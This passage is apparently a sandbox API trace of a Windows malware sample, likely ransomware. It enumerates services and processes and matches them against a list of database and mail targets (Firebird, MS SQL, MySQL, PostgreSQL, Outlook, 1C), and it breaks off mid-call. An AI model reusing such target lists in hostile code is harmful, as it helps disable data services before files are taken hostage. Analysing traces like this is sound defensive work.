[0261.908] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0261.908] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0261.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0261.908] lstrlenW (lpString="Audiosrv") returned 8 [0261.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0261.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0261.908] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0261.908] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0261.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0261.908] lstrlenW (lpString="BFE") returned 3 [0261.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0261.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0261.908] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0261.908] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0261.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0261.908] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0261.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0261.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0261.908] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0261.908] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0261.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0261.908] lstrlenW (lpString="CDPSvc") returned 6 [0261.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0261.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0261.908] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0261.908] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0261.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0261.908] lstrlenW (lpString="ClickToRunSvc") returned 13 [0261.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0261.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0261.909] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0261.909] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0261.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0261.909] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0261.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0261.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0261.909] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0261.909] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0261.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0261.909] lstrlenW (lpString="CryptSvc") returned 8 [0261.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0261.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0261.909] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0261.909] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0261.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0261.909] lstrlenW (lpString="DcomLaunch") returned 10 [0261.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0261.909] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0261.909] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0261.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0261.909] lstrlenW (lpString="DeviceAssociationService") returned 24 [0261.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0261.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0261.909] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0261.909] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0261.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0261.910] lstrlenW (lpString="Dhcp") returned 4 [0261.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0261.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0261.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0261.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0261.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0261.910] lstrlenW (lpString="Dnscache") returned 8 [0261.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0261.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0261.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0261.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0261.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0261.910] lstrlenW (lpString="DPS") returned 3 [0261.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0261.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0261.910] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0261.910] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0261.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0261.910] lstrlenW (lpString="DusmSvc") returned 7 [0261.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0261.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0261.910] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0261.910] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0261.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0261.910] lstrlenW (lpString="EventLog") returned 8 [0261.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0261.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0261.910] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0261.911] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0261.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0261.911] lstrlenW (lpString="EventSystem") returned 11 [0261.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0261.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0261.911] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0261.911] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0261.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0261.911] lstrlenW (lpString="FontCache") returned 9 [0261.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0261.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0261.911] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0261.911] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0261.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0261.911] lstrlenW (lpString="gpsvc") returned 5 [0261.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0261.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0261.911] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0261.911] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0261.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0261.911] lstrlenW (lpString="iphlpsvc") returned 8 [0261.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0261.911] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0261.911] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0261.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0261.911] lstrlenW (lpString="KeyIso") returned 6 [0261.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0261.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0261.911] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0261.912] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0261.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0261.912] lstrlenW (lpString="LanmanServer") returned 12 [0261.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0261.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0261.912] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0261.912] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0261.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0261.912] lstrlenW (lpString="LanmanWorkstation") returned 17 [0261.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0261.912] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0261.912] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0261.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0261.912] lstrlenW (lpString="lfsvc") returned 5 [0261.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0261.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0261.912] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0261.912] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0261.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0261.912] lstrlenW (lpString="lmhosts") returned 7 [0261.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0261.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0261.912] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0261.912] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0261.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0261.912] lstrlenW (lpString="LSM") returned 3 [0261.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0261.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0261.913] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0261.913] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0261.913] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0261.913] lstrlenW (lpString="MpsSvc") returned 6 [0261.913] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0261.913] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0261.913] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0261.913] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0261.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0261.964] lstrlenW (lpString="NcbService") returned 10 [0261.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0261.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0261.964] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0261.964] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0261.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0261.964] lstrlenW (lpString="netprofm") returned 8 [0261.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0261.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0261.964] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0261.964] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0261.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0261.964] lstrlenW (lpString="NgcSvc") returned 6 [0261.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0262.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0262.023] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0262.023] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0262.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0262.023] lstrlenW (lpString="NlaSvc") returned 6 [0262.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0262.023] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0262.023] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0262.023] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0262.023] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0262.023] lstrlenW (lpString="nsi") returned 3 [0262.023] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0262.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0262.024] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0262.024] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0262.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0262.024] lstrlenW (lpString="PcaSvc") returned 6 [0262.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0262.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0262.024] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0262.024] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0262.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0262.024] lstrlenW (lpString="PlugPlay") returned 8 [0262.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0262.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0262.024] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0262.024] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0262.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0262.024] lstrlenW (lpString="Power") returned 5 [0262.024] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0262.024] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0262.024] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0262.024] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0262.024] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0262.025] lstrlenW (lpString="ProfSvc") returned 7 [0262.025] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0262.025] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0262.025] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0262.026] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0262.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0262.026] lstrlenW (lpString="RpcEptMapper") returned 12 [0262.026] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0262.026] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0262.026] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0262.026] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0262.026] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0262.027] lstrlenW (lpString="RpcSs") returned 5 [0262.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0262.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0262.028] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0262.028] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0262.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0262.028] lstrlenW (lpString="SamSs") returned 5 [0262.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0262.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0262.028] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0262.028] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0262.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0262.028] lstrlenW (lpString="Schedule") returned 8 [0262.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0262.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0262.028] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0262.028] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0262.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0262.028] lstrlenW (lpString="SecurityHealthService") returned 21 [0262.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0262.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0262.028] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0262.028] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0262.028] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0262.028] lstrlenW (lpString="SENS") returned 4 [0262.028] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0262.028] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0262.028] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0262.029] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0262.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0262.029] lstrlenW (lpString="ShellHWDetection") returned 16 [0262.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0262.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0262.029] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0262.029] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0262.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0262.029] lstrlenW (lpString="Spooler") returned 7 [0262.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0262.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0262.029] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0262.029] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0262.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0262.029] lstrlenW (lpString="StateRepository") returned 15 [0262.029] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0262.029] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0262.029] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0262.029] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0262.029] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0262.030] lstrlenW (lpString="SysMain") returned 7 [0262.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0262.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0262.030] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0262.030] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0262.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0262.030] lstrlenW (lpString="SystemEventsBroker") returned 18 [0262.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0262.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0262.030] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0262.030] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0262.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0262.030] lstrlenW (lpString="Themes") returned 6 [0262.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0262.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0262.030] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0262.030] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0262.030] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0262.030] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0262.030] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0262.030] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0262.030] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0262.030] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0262.030] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4075448 | out: hHeap=0x630000) returned 1 [0262.030] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1168 [0262.038] Process32FirstW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0262.039] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0262.040] lstrlenW (lpString="System") returned 6 [0262.040] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0262.041] lstrlenW (lpString="smss.exe") returned 8 [0262.049] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.050] lstrlenW (lpString="csrss.exe") returned 9 [0262.050] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0262.051] lstrlenW (lpString="wininit.exe") returned 11 [0262.051] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0262.052] lstrlenW (lpString="csrss.exe") returned 9 [0262.052] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0262.053] lstrlenW (lpString="winlogon.exe") returned 12 [0262.054] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0262.055] lstrlenW (lpString="services.exe") returned 12 [0262.056] Process32NextW (in: hSnapshot=0x1168, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0262.057] lstrlenW (lpString="lsass.exe") returned 9 [0262.057] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0262.057] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0262.057] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0262.057] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0262.057] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0262.058] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0262.058] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0262.058] Process32NextW (in: 